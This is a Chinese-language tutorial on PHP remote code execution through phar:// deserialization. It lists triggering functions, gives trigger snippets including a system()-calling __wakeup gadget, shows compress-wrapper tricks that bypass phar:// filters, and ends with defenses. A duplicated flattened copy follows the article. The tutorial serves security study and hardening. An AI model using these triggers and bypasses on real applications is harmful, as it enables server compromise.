Phar与Stream Wrapper造成PHP RCE的深入挖掘
字数 1080 2025-08-27 12:33:42

Phar与Stream Wrapper造成PHP RCE的深入分析

1. 背景介绍

Phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR文件。自PHP 5.3.0起,Phar扩展默认启用。在2018年Black Hat大会上,Sam Thomas提出了通过"phar://" Stream Wrapper触发反序列化漏洞的技术,这为PHP安全研究开辟了新的攻击面。

2. 核心原理

2.1 Phar反序列化机制

当PHP对Phar文件进行某些操作时,会解析其元数据(metadata)部分,并自动调用php_var_unserialize()函数进行反序列化。关键源码位于phar.c#L618

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

攻击者可以构造特殊的Phar包,使其元数据包含恶意序列化数据,当被反序列化时触发POP链,最终实现RCE。

2.2 Stream Wrapper机制

PHP的Stream API提供了一种统一的文件处理方式,允许通过协议(如phar://)访问不同来源的数据。Phar扩展注册了phar://这个stream wrapper,其操作定义在phar_stream_wops结构中:

const php_stream_wrapper_ops phar_stream_wops = {
    phar_wrapper_open_url,
    NULL,
    NULL,
    phar_wrapper_stat,
    phar_wrapper_open_dir,
    "phar",
    phar_wrapper_unlink,
    phar_wrapper_rename,
    phar_wrapper_mkdir,
    phar_wrapper_rmdir,
    NULL
};

所有文件操作函数最终都会调用php_stream_open_wrapperphp_stream_locate_url_wrapper,进而触发Phar的反序列化。

3. 可利用的函数列表

3.1 文件系统函数

以下文件操作函数均可触发Phar反序列化:

  • 文件信息获取:

    fileatime() / filectime() / filemtime()
    stat() / fileinode() / fileowner() / filegroup() / fileperms()
    file() / file_get_contents() / readfile() / fopen()
    file_exists() / is_dir() / is_executable() / is_file() / is_link() / is_readable() / is_writeable() / is_writable()
    parse_ini_file()
    
  • 文件操作:

    unlink()
    copy()
    touch()
    

3.2 图像处理函数

  • EXIF相关:

    exif_thumbnail()
    exif_imagetype()
    
  • GD库相关:

    imageloadfont()
    imagecreatefrom*()
    

3.3 哈希计算函数

hash_hmac_file()
hash_file()
hash_update_file()
md5_file()
sha1_file()

3.4 其他函数

get_meta_tags()
get_headers()
getimagesize()
getimagesizefromstring()

4. 高级利用技巧

4.1 ZipArchive利用

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

4.2 压缩流包装器绕过限制

phar://被过滤时,可以使用压缩包装器绕过:

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
// 或
$z = 'compress.zlib://phar://test.phar/test';

4.3 数据库相关利用

PostgreSQL

$pdo = new PDO("pgsql:host=127.0.0.1;dbname=postgres;user=sx;password=123456");
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

class A {
    public $s = '';
    public function __wakeup() {
        system($this->s);
    }
}

$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, "LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\r\n' IGNORE 1 LINES;");

MySQL配置要求:

[mysqld]
local-infile=1
secure_file_priv=""

5. 防御措施

  1. 禁用Phar扩展:在不需要Phar功能的场景下,禁用Phar扩展

    phar.readonly = On
    phar.require_hash = On
    
  2. 限制文件操作:避免用户可控数据直接传入文件操作函数

  3. 输入过滤:严格过滤用户输入的协议类型,禁止phar://等危险协议

  4. 更新PHP版本:新版本PHP对反序列化有更多限制和安全改进

  5. 使用白名单:对文件操作函数的参数使用白名单机制

6. 总结

Phar与Stream Wrapper的结合为PHP安全带来了新的挑战,几乎所有的文件操作函数都可能成为攻击入口。开发者需要全面了解这些风险点,采取多层次防御措施,才能有效防止此类漏洞被利用。

Phar与Stream Wrapper造成PHP RCE的深入分析 1. 背景介绍 Phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR文件。自PHP 5.3.0起,Phar扩展默认启用。在2018年Black Hat大会上,Sam Thomas提出了通过"phar://" Stream Wrapper触发反序列化漏洞的技术,这为PHP安全研究开辟了新的攻击面。 2. 核心原理 2.1 Phar反序列化机制 当PHP对Phar文件进行某些操作时,会解析其元数据(metadata)部分,并自动调用 php_var_unserialize() 函数进行反序列化。关键源码位于 phar.c#L618 : 攻击者可以构造特殊的Phar包,使其元数据包含恶意序列化数据,当被反序列化时触发POP链,最终实现RCE。 2.2 Stream Wrapper机制 PHP的Stream API提供了一种统一的文件处理方式,允许通过协议(如 phar:// )访问不同来源的数据。Phar扩展注册了 phar:// 这个stream wrapper,其操作定义在 phar_stream_wops 结构中: 所有文件操作函数最终都会调用 php_stream_open_wrapper 或 php_stream_locate_url_wrapper ,进而触发Phar的反序列化。 3. 可利用的函数列表 3.1 文件系统函数 以下文件操作函数均可触发Phar反序列化: 文件信息获取: 文件操作: 3.2 图像处理函数 EXIF相关: GD库相关: 3.3 哈希计算函数 3.4 其他函数 4. 高级利用技巧 4.1 ZipArchive利用 4.2 压缩流包装器绕过限制 当 phar:// 被过滤时,可以使用压缩包装器绕过: 4.3 数据库相关利用 PostgreSQL MySQL MySQL配置要求: 5. 防御措施 禁用Phar扩展 :在不需要Phar功能的场景下,禁用Phar扩展 限制文件操作 :避免用户可控数据直接传入文件操作函数 输入过滤 :严格过滤用户输入的协议类型,禁止 phar:// 等危险协议 更新PHP版本 :新版本PHP对反序列化有更多限制和安全改进 使用白名单 :对文件操作函数的参数使用白名单机制 6. 总结 Phar与Stream Wrapper的结合为PHP安全带来了新的挑战,几乎所有的文件操作函数都可能成为攻击入口。开发者需要全面了解这些风险点,采取多层次防御措施,才能有效防止此类漏洞被利用。